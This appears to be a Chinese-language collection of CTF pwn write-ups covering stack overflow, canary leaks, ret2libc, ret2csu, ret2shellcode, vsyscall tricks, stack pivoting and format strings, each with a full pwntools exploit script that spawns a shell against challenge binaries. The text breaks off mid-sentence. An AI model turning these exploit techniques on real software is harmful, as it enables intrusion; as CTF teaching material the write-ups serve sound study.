# -*- coding: utf-8 -*- from ctypes import * from time import * from LibcSearcher import * from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') context(arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') ip = '61.147.171.105'; port = '50293' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './bed0c68697f74e649f3e1c64ff7838b8' # ld_name = './ld-2.31.so' local = 1 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = 'libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) # ld = ELF(ld_name) elf = ELF(file_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def model(addr): write_plt = elf.plt["write"] main_addr = 0x080484BE py = b'a'*0x6C + b'A'*0x04 + p32(write_plt) + p32(main_addr) + p32(1) + p32(addr) + p32(4) s(py) ru(b'Welcome to XDCTF2015~!\n') return r(4) def pwn(): read_plt = elf.plt["read"] bss_addr = 0x0804A100 dyn = DynELF(model,elf=ELF(file_name)) system_addr = dyn.lookup("system","libc") leak("system_addr",system_addr) py = b'a'*0x6C + b'A'*0x04 + p32(read_plt) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(8) +\ p32(0) + p32(bss_addr) sl(py) s(b'/bin/sh\x00') p.interactive() connect() pwn()
2※ pwn1
-
checksec 检查保护,发现除了 PIE 保护全开,64 位程序:
-
IDA64 打开,简单逆向一下发现输入为 1 的时候存在栈溢出:
-
而在输入为 2 的时候,可以泄露 Canary 的值:
-
那么我们先用 2 泄露 Canary 的值,然后进行 ret2libc 即可,比较奇怪的是本题无法用 read_got 来泄露 libc 基址,并且无法使用 system("/bin/sh") 来获取权限会报错,不过我们返回地址覆盖为 one_gadget 即可。
-
完整 exp:
from pwn import * p = remote("61.147.171.105",62433) elf = ELF("./babystack") libc = ELF("./libc-2.23.so") puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr = 0x400908 pop_rdi_ret = 0x400a93 def cmd(idx,content=b''): p.sendlineafter(b'>> ',str(idx).encode()) if idx == 1: p.sendline(content) py = b'a'*0x88 cmd(1,py) cmd(2) p.recvuntil(b'a'*0x88+b'\n') Canary = u64(p.recv(7).rjust(8,b'\x00')) print(hex(Canary)) py = b'a'*0x88 + p64(Canary) + b'A'*0x08 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) cmd(1,py) cmd(3) puts_addr = u64(p.recv(6).ljust(8,b'\x00')) libc_base = puts_addr - libc.symbols["puts"] one_gadget = [libc_base + x for x in [0x45216,0x4526a,0xf0274,0xf1117] ] print(hex(libc_base)) print(hex(puts_addr)) print([hex(x) for x in one_gadget]) py = b'a'*0x88 + p64(Canary) + b'A'*0x08 + p64(one_gadget[0]) cmd(1,py) cmd(3) p.interactive()
3※ RCalc
-
checksec 检查保护,发现只开了 NX:
-
拖进 IDA64 简单逆向一下,发现 main 里面只有初始化,然后就 work 了:
-
在 Init 中,发现初始化了两个 0x10 大小的堆,指针存在全局变量中。看下方的的初始化,可以推测出这事两个结构体,都是先存一个 int,然后保存一个数组指针:
-
在 work 中发现存在栈溢出,并且发现之前申请的两个结构体都是栈结构,int 为 top,[] 为栈空间,其中第二个用来实现 Canary 的功能:
-
生成一个随机数压入栈,在函数返回的时候 pop 出来判断是否相等以此来检查栈溢出:
-
由于我们 work 函数内只有一次输入,用来泄露 Canary 就没办法写入 ROP 了,我们看 calculator 函数是否有别的办法。发现里面的 Add 功能可以无限地 将计算的答案压入另一个栈,而没有检查,存在堆溢出:
-
我们在 Init 函数中知道,先申请了 calculator 中存放数据的栈,再申请的 Canary 的栈,所以我们可以通过堆溢出来修改 Canary 栈内的数据。一共需要填充 0x100 + 0x10(堆头)的数据,而我们一次写入一个 long long 占 8 个字节,一共需要填充 0x22 次数据,然后就可以写入我们的自定义 canary 了。
def setCanary(): for i in tqdm.tqdm(range(0x23)): sla(b'Your choice:',b'1') sla(b'input 2 integer: ',b'0') sl(b'0') sla(b'Save the result? ',b'yes') sla(b'Your choice:',b'5')
-
接着我们知道写入的 canary 是 0,就可以正常构造 ROP 链了,需要注意的是我们通过 scanf("%s") 来读入数据,这里面不能存在空格(即 0x20),这时我们查看 Got 表里面的地址:
-
发现全部都含有 0x20,我们再往上找找其他存有 libc 中变量的地址,找到
__libc_start_main
可用: -
那么接下来就是正常的 ret2libc 了,我们溢出两次,分别泄露 libc 和 获得权限。
-
完整 exp:
from ShallowDreamTools import * from LibcSearcher import LibcSearcher import tqdm Pwn.init(Url="61.147.171.105:53658",File="RCalc",log_level="INFO") Pwn.connect() __libc_start_main,printf_plt = Pwn.get_elf("symbols","__libc_start_main","plt","printf") main_addr = 0x0401036 pop_rdi_ret = 0x0401123 ret = 0x004007fe def setCanary(): for i in tqdm.tqdm(range(0x23)): sla(b'Your choice:',b'1') sla(b'input 2 integer: ',b'0') sl(b'0') sla(b'Save the result? ',b'yes') sla(b'Your choice:',b'5') py = b'a'*0x108 + pad64(0,0,pop_rdi_ret,__libc_start_main,printf_plt,main_addr) sla(b'Input your name pls: ',py) setCanary() my_addr = uu64() libc = LibcSearcher("__libc_start_main",my_addr) libc_base = my_addr - libc.dump("__libc_start_main") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump('str_bin_sh') leak("libc_base",libc_base) leak("system_addr",system_addr) leak("bin_sh_addr",bin_sh_addr) py = b'a'*0x108 + pad64(0,0,pop_rdi_ret,bin_sh_addr,system_addr) sla(b'Input your name pls: ',py) setCanary() ita()
ret2csu
4※ pwn-100
-
考点:ret2csu
-
在 linux 下
checksec
一下,64 位小端程序,只开了 NX: -
拖进 IDA64 查看
main
,初始化后调用sub_40068E
: -
进一步分析程序,发现往最长 64字节 的
v1
内读入最多 200 个字节,存在栈溢出漏洞: -
在 IDA 中没有找到可以利用的 system("bin/sh") 或 system("cat flag");
-
且原程序中没有调用
system
函数,在 GOT 和 PLT 表中没有system
函数的记录,只能从 libc 中寻找system
函数。 -
左侧有
puts
和read
函数,可以利用puts
函数泄露出read
函数的实际地址,根据read
函数地址,利用LibcSearcher
泄露 libc 版本。 -
64位 程序前 6 个参数是利用寄存器传递的,所以要把
read
函数的 got 地址存入rdi
中,然后再调用puts
函数,实现puts(read)
的功能。 -
用
ropper
在 linux 下查找pop rdi;ret
的位置,pop_rdi_ret = 0x400763
: -
ret = 0x4004e1
: -
接着构造第一次泄露的 payload1,先填充 64字节 给
v1
,填充 8字节 给s
,然后修改rdi
,在pop_rdi_ret
后传入read
的 GOT 表地址,最后传入puts
的地址,然后传入main
的地址作为puts
结束后的返回地址。 -
接着由于这是 64位 程序,考虑平衡栈,发现
puts_plt
是第 3个地址rsp
末尾为 8 无法通过检验,在前面加上一个ret
。 -
由于本题一定要输入满 200 个字节,后面再填充上剩余的字节:
-
运行发现找不到
main
,去 IDA 复制main
的入口地址: -
再次运行发现已经将地址输出出来了:
-
由于 64位 程序的地址均是 6位 的以
\x7f
开头的地址,又是小端程序倒着输出地址,所以我们可以读到\x7f
结束,只要后 6个字节,然后在右端填充\x00
满 8位,交给u64()
解包: -
然后用 LibcSearcher 查询 libc 的对应版本,从而得到 system 函数和 /bin/sh 字符串的地址:
-
但是发现这道题找不到对应版本的 libc 库,可能是因为使用了某些小版本的 libc 库,用 LibcSearcher 有时并不能找到。
-
那么这时候我们可以使用 DynELF 工具根据泄露出的 read_addr 分析内存数据,查找 system 的地址。下面提供一个 万能使用模版,其中的参数 addr 代替之前的 read_got 的位置:
def model(addr): py = ... io.send(py) io.recvuntil(b'bye~\n') last = b""; buf = b"" while True cur = io.recv(numb=1, timeout=0.01) # 根据网络环境调整 timeout if last == b'\n' and cur == b"": # last 和 cur 为最后两位数据结束标识符 buf = buf[:-1] + b'\x00' # DynELF 需要至少返回 \x00 break else: buf += cur last = cur return buf[:4] dyn = DynELF(model,elf = ELF("./task")) sys_addr = dyn.lookup("system","libc") print(hex(sys_addr))
-
之所以要使用上方的 while 来读取返回的数据,是因为 DynELF 对网络延迟的要求比较高,上述方法可以有效降低由于网络波动带来的爆破失败概率。对于本地脚本可以直接采用下方的一句 recvline 即可打通:
def model(addr): py = b'A'*0x40 + b'B'*8 + p64(pop_rdi_ret) + p64(addr) +\ p64(puts_plt) + p64(ret) + p64(main_addr) py = py.ljust(200,b'a') io.send(py) io.recvuntil(b'bye~\n') return io.recvline().replace(b'\n', b'\x00') # last = b""; buf = b"" # while True: # cur = io.recv(numb=1, timeout=0.01) # if last == b'\n' and cur == b"": # buf = buf[:-1] + b'\x00' # break # else: # buf += cur # last = cur # return buf[:4] dyn = DynELF(model,elf = ELF("./task")) sys_addr = dyn.lookup("system","libc") print(hex(sys_addr))
-
运行后发现将 system 函数的地址算出来了:
-
由于 DynELF 只能得到 system 的地址,找不到 /bin/sh 字符串的地址,我们需要先溢出执行 read,选择一个可写的位置,将
/bin/sh
字符串写入,然后再调用syscall
传入这个可写的位置获得权限。 -
我们在 IDA64 按 Shift+F7 查看段和权限,一般选 .data 段和 .bss 来使用,本题使用 .data 段:
-
查看地址,
write_addr = 0x601040
: -
然后调用
read
函数准备在这里写入字符串/bin/sh
,由于read
需要三个传参,但在ropper
中找不全传全部参数的 gadget。 -
这时候考虑 通用gadget:只要 Linux x64 的程序中调用了 libc.so,程序中就会自带一个很好用的 通用 Gadget:
__libc_csu_init()
: -
那么我们用
ropper
来找 pop rbp 的位置,因为直接找 pop rbx 用ropper
找不到: -
然后去 IDA 内找前一行代码,
pop_6 = 0x40075A
: -
接着看这段代码上方就是赋值 rdx,rsi,rdi 的三个 mov,
mov_3_call = 0x40075A
: -
由于要求 rbx + 1 = rbp,我们构造调用
read
的传参,0,1,read_got
,8,write_addr
,0, -
然后调用
mov_3_call
但是在执行完read
函数后返回回来,在ret
前会重新执行一遍下方的代码: -
算上
add rsp,8
,和 6 个 pop 一共需要填充7*8 = 56
个字节来传参,然后再写返回地址main
: -
然后再传入
read
函数中我们要写入的/bin/sh
字符串: -
那么接着回到
main
的开头,最后构造我们用来 get shell 的 payload,记得同样要对齐 rsp(栈平衡): -
最后附上完整 exp,稍有修改:
from pwn import * # io = remote("61.147.171.105",51341) io = process("./task") elf = ELF("./task") context(arch = "amd64",os = 'linux') puts_plt = elf.plt["puts"] read_got = elf.got["read"] main_addr = 0x400550 data_addr = 0x601040 pop_6 = 0x40075A move_3_call = 0x400740 pop_rdi_ret = 0x400763 ret = 0x4004e1 def model(addr): py = b'A'*0x40 + b'B'*8 + p64(pop_rdi_ret) + p64(addr) +\ p64(puts_plt) + p64(ret) + p64(main_addr) py = py.ljust(200,b'a') io.send(py) io.recvuntil(b'bye~\n') # return io.recvline().replace(b'\n', b'\x00') last = b""; buf = b"" while True: cur = io.recv(numb=1, timeout=0.01) if last == b'\n' and cur == b"": buf = buf[:-1] + b'\x00' break else: buf += cur last = cur return buf[:4] dyn = DynELF(model,elf = ELF("./task")) sys_addr = dyn.lookup("system","libc") print(hex(sys_addr)) py = b'A'*0x40 + b'B'*8 + p64(pop_6) + p64(0) + p64(1) +\ p64(read_got) + p64(8) + p64(data_addr) + p64(0) py += p64(move_3_call) + b'a'*56 + p64(main_addr) py = py.ljust(200,b'a') io.send(py) io.send(b'/bin/sh\x00') py = b'A'*0x40 + b'B'*8 + p64(pop_rdi_ret) + p64(data_addr) +\ p64(ret) + p64(sys_addr) + p64(ret) + p64(main_addr) py = py.ljust(200,b'a') io.send(py) io.interactive()
3※ welpwn
-
考点:pop_4_ret
-
checksec 检查保护,发现只开了 NX:
-
查看溢出函数,在 echo 中发现将 a1 的内容复制到 s2 中,而这个 a1 是输入的最长可达 0x400 的数据,存在栈溢出:
-
由于复制的过程遇到
\x00
截断,这是 64 位程序,只要传入任何一个地址,高位的\x00
就会截断复制。 -
我们观察下此时的栈结构:
content note 0x10 echo 的数据区 0x08 echo 的 rbp 地址 0x08 echo 的 ret 地址 0x400 main 的数据区 -
我们可以发现,从 main 里调用 echo 函数后,其栈空间就在 main 的数据区也就是我们的输入 0x400 数据的正上方。此时如果我们输入
py = b'a'*0x18 + p64(main_addr) + b'b' * 0x08
的话,栈结构如下:content note b'a' * 0x08 echo 的数据区 b'a' * 0x08 echo 的数据区 b'a' * 0x08 echo 的 rbp 地址 main_addr echo 的 ret 地址 b'a' * 0x08 main 的数据区 b'a' * 0x08 main 的数据区 b'a' * 0x08 main 的数据区 main_addr main 的数据区 b'b' * 0x08 main 的数据区 -
如果我们能用仅复制的第一个地址,跳过 main 数据区的前 0x18 个垃圾数据 和 main_addr 的 0x08 共 0x20 个数据(4条指令)的话,就可以继续向下执行到 main 的数据区里的
b'b' * 0x08
位置的指令了。而这里面的指令我们可以输入非常长(由 main 里 0x400 限制)足够我们构造 ROP。 -
而在
__libc_csu_init
中存在最长可达连续 6 个 pop 的指令: -
本题只需要用到 连续4个 pop 跳过 0x20 个垃圾数据,用 ropper 查找
pop r12; pop r13; pop r14; pop r15; ret
的位置: -
那么我们如果构造以下 payload:
py = b'a'*0x10 + b'A'*0x08 + p64(pop_4_ret) +\ p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main_addr) p.send(py)
-
那么此时的栈结构如下:
content note b'a' * 0x08 echo 的数据区 b'a' * 0x08 echo 的数据区 b'A' * 0x08 echo 的 rbp 地址 pop_4_ret echo 的 ret 地址 b'a' * 0x08 main 的数据区 b'a' * 0x08 main 的数据区 b'a' * 0x08 main 的数据区 pop_4_ret main 的数据区 pop_rdi_ret main 的数据区 read_got main 的数据区 puts_plt main 的数据区 main_addr main 的数据区 -
那么在 echo 函数返回的时候就会执行 pop 12; pop r13; pop r14; pop r15; ret,那么就会把 main 数据区的前 0x20 个数据全部 pop 进四个寄存器里,然后 ret 执行的命令就是 pop_rdi_ret 我们后续的 ROP 了。
-
然后打一个 ret2libc 即可,第一次通过泄露 read 地址来泄露 libc_base,然后返回到 main 第二次溢出获得权限。
-
完整 exp:
from pwn import * from LibcSearcher import * p = remote("61.147.171.105",64439) # p = process("./81f42c219e81421ebfd1bedd19cf7eff") elf = ELF("./81f42c219e81421ebfd1bedd19cf7eff") read_got = elf.got["read"] puts_plt = elf.plt["puts"] main_addr = elf.symbols["main"] pop_4_ret = 0x40089c pop_rdi_ret = 0x004008a3 ret = 0x400589 py = b'a'*0x10 + b'A'*0x08 + p64(pop_4_ret) +\ p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main_addr) p.send(py) p.recvuntil(b'aAAAAAAAA') p.recv(3) read_addr = u64(p.recv(6).ljust(8,b'\x00')) libc = LibcSearcher("read",read_addr) libc_base = read_addr - libc.dump("read") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") print(hex(libc_base)) print(hex(read_addr)) print(hex(system_addr)) print(hex(bin_sh_addr)) py = b'a'*0x10 + b'A'*0x08 + p64(pop_4_ret) +\ p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) p.send(py) p.interactive()
ret2shellcode
2※ repeater
-
本题开了 PIE,没开 NX:
-
程序先往一个全局变量 input 里面输入 48 个字节:
-
查看 bss 段上的 input,发现其长度只有 40 个字节,会溢出 8字节 到 got 表,但是 got 表的第一个为
__errno_location
,一个系统调用出错时才会调用的函数,覆盖影响不大。所以 input 的 48字节均可用: -
找到溢出位置:
-
可以覆盖 main 的返回地址,由于没开 NX,我们可以考虑往刚才 bss 段的 input 里面写入 shellcode,然后将 main 的返回地址写成 input 的地址。
-
由于开了 PIE,我们暂时不知道 bss 段上 input 的随机化后地址,但是发现当 v5 == 3281697 时会泄露 main 的真实地址。
-
由于 v5 就在 s 的正下方,我们可以覆盖 v5 为 3281697 来泄露 main 的地址,然后计算得到 PIE 基地址:
-
IDA 里面查看 main 的偏移量为 0xA33:
-
那么我们往 input 里面写入 shellcode,然后构造 payload 第一次覆盖 v5 来泄露 main_addr,计算出 PIE 基址;第二次覆盖 v5 为 0,覆盖 main 的返回地址为 input。
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * from base64 import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') context(arch = "amd64",os = 'linux') ip = '61.147.171.105'; port = '50218' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './repeater' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './9eb304f8cf4641339ef4fd4b0f204b86' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = './9eb304f8cf4641339ef4fd4b0f204b86' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) # ld = ELF(ld_name) elf = ELF(file_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def pwn(): py = asm(shellcraft.sh()) print(len(py)) s(py) py = b'a'*0x20 + p64(3281697) sl(py) ru(b'But there is gift for you :\n') main_addr = int(rud(b'\n'),16) pie_base = main_addr - 0xA33 input_addr = pie_base + 0x202040 print(hex(pie_base)) print(hex(main_addr)) print(hex(input_addr)) py = b'a'*0x20 + p64(0) + b'a'*0x08 + b'A' * 0x08 + p64(input_addr) s(py) p.interactive() connect() pwn()
3※ 250
-
check 检查保护,发现只开了 NX,32位 程序:
-
IADA32 打开分析,发现静态链接了 libc,没有 plt-got 表:
-
找到漏洞函数,先输入一个长度,在输出的时候把输入字符串复制到局部变量中。由于没有检查长度,存在栈溢出:
-
我们可以往一个地址内写入 /bin/sh,然后调用 int80 来完成 ret2syscall:
-
但这里学习另一种方法,调用 make_stack_executable 函数来使得栈可执行,从而打 ret2shellcode。
-
我们在 IDA32 左侧搜素
dl_make_stack_executable
函数: -
为了不用配置参数,我们按 x 交叉引用找到调用这个函数的代码:
-
可以看到传入的参数位于 rbp+0x18:
-
回到函数中,我们发现会把传入的参数与
__libc_stack_end
进行比较,不相等就退出。但是可以发现这个变量的地址就在 cmp 指令里: -
那么我们可以将 rbp 在栈溢出时改为 地址-0x18 的值,就可以将 cmp 的这个地址传入 dl_make_stack_executable 函数了。
-
由于我们只想调用这个函数,并不想在之后继续执行下方的跳转:
-
所以我们可以修改 _dl_make_stack_executable_hook 里面的值,把其 +1,就可以跳过第一个 push 从而在最后 ret 的时候执行栈顶的 jmp esp 来执行栈中的 shellcode 了:
-
我们可以用到一个 gadget:
inc dword ptr [ecx] ; ret
,通过 ecx 来修改目标地址内的值: -
完整 exp:
from ShallowDreamTools import * Pwn.init(Url="61.147.171.105:56693",File="./250",arch="i386") make_stack_executable_plt = 0x0809A260 make_stack_executable_hook = 0x080EB9F4 libc_stack_end_addr = 0x080A0B05 inc_in_ecx = 0x080845f8 pop_ecx = 0x080df1b9 jmp_esp = 0x080de2bb Pwn.connect() sl(b'1000') py = b'a'*0x3A + p32(libc_stack_end_addr-0x18) +\ pad32(pop_ecx,make_stack_executable_hook,inc_in_ecx) +\ pad32(make_stack_executable_plt,jmp_esp) + asm(shellcraft.sh()) sl(py) ita()
栈未初始化
4※ 1000levevls
-
本题难点在于开了 PIE,程序函数地址是随机的:
-
找到存在溢出的函数:
-
但是开了 PIE 我们需要知道可以返回到哪里,往回看调用 backdoor 的函数,IDA 帮我们报了一个警告,说这个 v10 可能未初始化:
-
注意这里的 v11 和 v10 的地址都是 rbp-110h,可以发现当输入的 v7 <= 0 时,v10 是没有初始化的,然后会将我们输入的一个数字加到 v10 也就是 [rbp-110h] 里面。
-
这里存在 栈上缓冲区未初始化漏洞,此时 [rbp-110h] 里面存着调用的上一个函数的某个局部变量的数据,我们到这个函数外:main 里找找有什么函数可以利用。
-
我们可以发现,在 main 中输入 2 时,会进入一个 Hint 函数,这里面有一个 sprintf 函数,将一个局部常量:system 的地址输入到 v1 中:
-
v1 的首地址是 rbp-108h,局部常量往往会被压在局部变量之上,我们查看这个函数的汇编代码,发现果然 system 的地址被保存在 rbp-110h 处,rsp 也是实际减少了 110h:
-
所以只要进入这个 Hint 函数,就会将 system 的地址保存在 [rbp-110h] 处,然后随便输入点什么退出。
-
紧接在 main 输入 1 进入调用 backdoor 的 Go 函数,此时的 v10 也在 rbp-110h 处,由于栈上数据不会清空,v10 里面便保存着 system 的地址了。
-
接着由于 backdoor 函数在这个函数中调用,backdoor 的 rbp 会被压在 Go 函数的 rsp 的正上方:
-
进入 backdoor 后此时的栈结构:
此时的 rsp backdoor 函数的 0x30 局部变量区 backdoor 函数的 rbp backdoor 函数的 返回地址 Go 函数的 rbp-120h处 Go 函数的 rbp-108h处 Go 函数的 rbp-110h处(存着system地址) ...... Go 函数的 rbp Go 函数的 返回地址 -
那么我们要想办法让 backdoor 返回时从 backdoor 的返回地址 一直执行到 Go 函数的 rbp-110h 处,需要填充 3 条指令。
-
如果没有开 PIE,很容易的我们只需要用 ropper 找一下 ret的地址 或者 pop 的地址 用来填充即可,但是有 PIE 现在我们不知道程序随机化后的地址。
-
但是有一个例外,它的地址是固定的,那就是 vsyscall
-
Vsyscall 用于系统调用,它的地址固定在 0xffffffffff600000-0xffffffffff601000。vsyscall在 内核 中实现,无法用 docker 模拟,因此某些虚拟机上可能不成功。
-
所以我们可以利用最后的那个 retn,只需要填充 0xffffffffff600000 便可以利用 vsyscall 的 retn 来滑动 rsp。
-
那么,上传 payload 后栈结构如下:
此时的 rsp backdoor 函数的 0x30 局部变量区 backdoor 函数的 rbp backdoor 函数的 返回地址(0xffffffffff600000) Go 函数的 rbp-120h处(0xffffffffff600000) Go 函数的 rbp-108h处(0xffffffffff600000) Go 函数的 rbp-110h处(存着system地址) ...... Go 函数的 rbp Go 函数的 返回地址
-
但是此时的 rdi 并未指向一个 /bin/sh 的地址,直接调用 system 没有效果。
-
由于我们已知了一个 libc 库中 system 函数的地址,那么我们可以计算得到 libc 中其他所有的函数与 system 函数地址的偏移量。
而 Go 函数中,可以将一个输入的数字加到 rbp-110h 中。也就是说,我们此时可以控制 rbp-110h 为任意地址。
那么只需要通过计算 one_gadget 与 system 在 libc 中的偏移量,在 Go 中输入让它加上去,此时 rbp-110h 中存的便是 libc 库中 one_gadget 的地址了。
-
我们用 one_gadget 工具查找 libc 中可用的 one_gadget:
-
传入的 payload 为:
vsyscall = 0xffffffffff600000 py = b'a'*0x30 + b'A'*0x08 + p64(vsyscall)*3 sa(b"Answer:",py)
-
最后准备上传 payload,在 backdoor 函数中发现有一个递归的逻辑,由于每次递归都会再次压栈,为了构造 payload 方便起见,我们回到第一层 backdoor 再开始溢出:
-
看 Go 函数中传入的参数,由于地址肯定大于 100,会传入 v12 = 100,那么我们需要答对 99 次题目回到第一层 backdoor,然后进行溢出:
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') context(arch = "amd64",os = 'linux') ip = '61.147.171.105'; port = '54445' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './100levels' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) libc_name = './libc.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: libc_name = 'libc.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) # ld = ELF(ld_name) elf = ELF(file_name) libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def QandA(): ru(b"Question: ") a = int(rud(b" ")) ru(b" ") b = int(rud(b" ")) # print(a) # print(b) c = a*b sla(b"Answer:",str(c).encode()) def pwn(): sla(b"Choice:\n",b'2') sla(b"Choice:\n",b'1') system_libc = libc.sym["system"] one_gadget = [0x4526a,0xef6c4,0xf0567] delta = one_gadget[0] - system_libc print(str(delta).encode()) sla(b"How many levels?\n",b'0') sla(b"Any more?\n",str(delta).encode()) for i in range(99): print(i+1) QandA() vsyscall = 0xffffffffff600009 py = b'a'*0x30 + b'A'*0x08 + p64(vsyscall)*3 sa(b"Answer:",py) p.interactive() connect() pwn()
-
参考博客:https://blog.csdn.net/seaaseesa/article/details/102984101
栈迁移
3※ format2
-
考点:栈迁移
-
看保护,本题开启了 Canary,但实际上是因为 libc 库静态链接带来的干扰,具体 Canary 是否存在要看函数汇编代码:
-
找到存在溢出的函数:
-
可以看到往在 ebp-8h 的一个 int 数据里面 memcpy 了一个字符串,并且这个函数不存在 Canary 保护,那么会往下栈溢出。
-
往函数外找可以溢出的长度,发现输入的数据解密后长度不能超过 0xC,也就是 12 个字节。由于这是 32位 程序,所以可以溢出 4个 字节覆盖 auth 函数的 ebp:
-
由于输入的 s 解密后会被存入在 bss 段上的全局变量 input,没有 PIE 我们可以知道他的位置。
-
那么可以覆盖 auth 的 ebp 为 input 的地址,在 auth 函数的 leave;ret 后 ebp = input的地址;然后立刻执行 main 的 leave;ret,就会使得 esp = ebp = input的地址,使程序执行 input 里面的指令流。
-
又因为程序存在 backdoor,有现成的 system("/bin/sh"):
-
那么我们要覆盖 v4 的数据为:
py = b'a'*0x04 + p32(backdoor_addr) + p32(input_addr)
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * from base64 import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') context(arch = "amd64",os = 'linux') ip = '61.147.171.105'; port = '49323' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './9eb304f8cf4641339ef4fd4b0f204b86' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './9eb304f8cf4641339ef4fd4b0f204b86' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = './9eb304f8cf4641339ef4fd4b0f204b86' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) # ld = ELF(ld_name) elf = ELF(file_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def pwn(): input_addr = elf.symbols["input"] backdoor_addr = 0x08049284 py = b'a'*0x04 + p32(backdoor_addr) + p32(input_addr) py = b64encode(py) sl(py) p.interactive() connect() pwn()
格式化字符串
3※ CGfsb
-
考点:格式化字符串漏洞
-
拖进
,点左侧main
,F5 反汇编,发现前面两个读入read
,和fgets
都没有漏洞:
-
再往下看只有一句
printf(s)
,然后就判断若pwnme==8
就输出 flag: -
正常我们的输出都是
printf("%s",s)
,前面有一个 格式化字符串,后面是各个参数。但是这里不一样,直接把s
的地址传进去了,这就要涉及到 printf 的传参格式。
-
printf
本质是输出一个字符串,唯一的参数是这个字符串的地址,如果后续还有其他参数,均作为这个格式化字符串的参数也传入 printf 中。 -
如
printf("%d",n)
的唯一参数是"%d"
这个字符串的地址,而写的 n 实际上是把 n的值 作为"%d"
的第一个参数传入,并在输出字符串"%d"
期间遇到格式化字符%d
时,找到第一个参数 n的值,然后格式化%d
输出。 -
关键点在于,
printf
函数认为,他只负责输出自己的字符串,如果这其中需要输出格式化内容,从压入栈中的该字符串的地址开始,向后寻找格式化字符%d
所对应参数在栈中存放的位置: -
但是
printf
并不知道自己的唯一要输出的字符串里面有多少个格式化参数,所以里面写第几个,就从%d
处开始向下偏移几格去找第几个,如果写%1$d
